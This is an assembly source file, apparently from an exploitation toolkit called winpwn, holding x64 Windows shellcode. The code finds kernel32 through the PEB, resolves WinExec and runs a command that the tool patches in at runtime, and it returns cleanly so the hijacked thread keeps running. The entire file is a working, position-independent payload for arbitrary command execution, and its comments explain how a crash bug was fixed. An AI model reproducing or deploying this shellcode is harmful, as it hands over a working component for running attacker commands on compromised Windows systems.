53 lines
1.6 KiB
NASM
53 lines
1.6 KiB
NASM
; winexec_x64.asm — position-independent x64 shellcode: resolve kernel32's
|
|
; base via the PEB (no leak/hardcoded address needed), find WinExec by
|
|
; name, and run a command. Returns normally (ret) so the host thread keeps
|
|
; running afterward.
|
|
;
|
|
; cmd_buf is a 260-byte placeholder at the very end of the assembled blob;
|
|
; winpwn patches it at runtime with the actual NUL-terminated command
|
|
; (see shellcraft.go).
|
|
BITS 64
|
|
default rel
|
|
|
|
start:
|
|
; Preserve the caller's rbp/r12 (both non-volatile per the Windows x64
|
|
; ABI) and stash the post-push rsp in rbp so we can force 16-byte
|
|
; alignment below and still land exactly back on the real return
|
|
; address afterward. A bare `and rsp, ~0xF` with no matching restore
|
|
; before `ret` pops whatever garbage is sitting at the shifted address
|
|
; instead of the caller's actual return address — that's the bug this
|
|
; replaced (verified by crash: rip ended up pointing into the Go
|
|
; runtime's heap, i.e. exactly the kind of stale stack value this leaves
|
|
; behind).
|
|
push rbp
|
|
push r12
|
|
mov rbp, rsp
|
|
and rsp, ~0xF ; force 16-byte stack alignment, unknown entry state
|
|
|
|
call get_kernel32_base
|
|
mov r12, rax ; r12 = kernel32 base
|
|
|
|
mov rcx, r12
|
|
lea rdx, [rel name_winexec]
|
|
call find_export
|
|
; rax = WinExec address
|
|
|
|
lea rcx, [rel cmd_buf]
|
|
mov edx, 5 ; SW_SHOW
|
|
sub rsp, 0x20 ; shadow space required before any WinAPI call
|
|
call rax
|
|
add rsp, 0x20
|
|
|
|
mov rsp, rbp
|
|
pop r12
|
|
pop rbp
|
|
ret
|
|
|
|
%include "resolver.inc"
|
|
|
|
name_winexec: db "WinExec", 0
|
|
|
|
align 8
|
|
cmd_buf:
|
|
times 260 db 0
|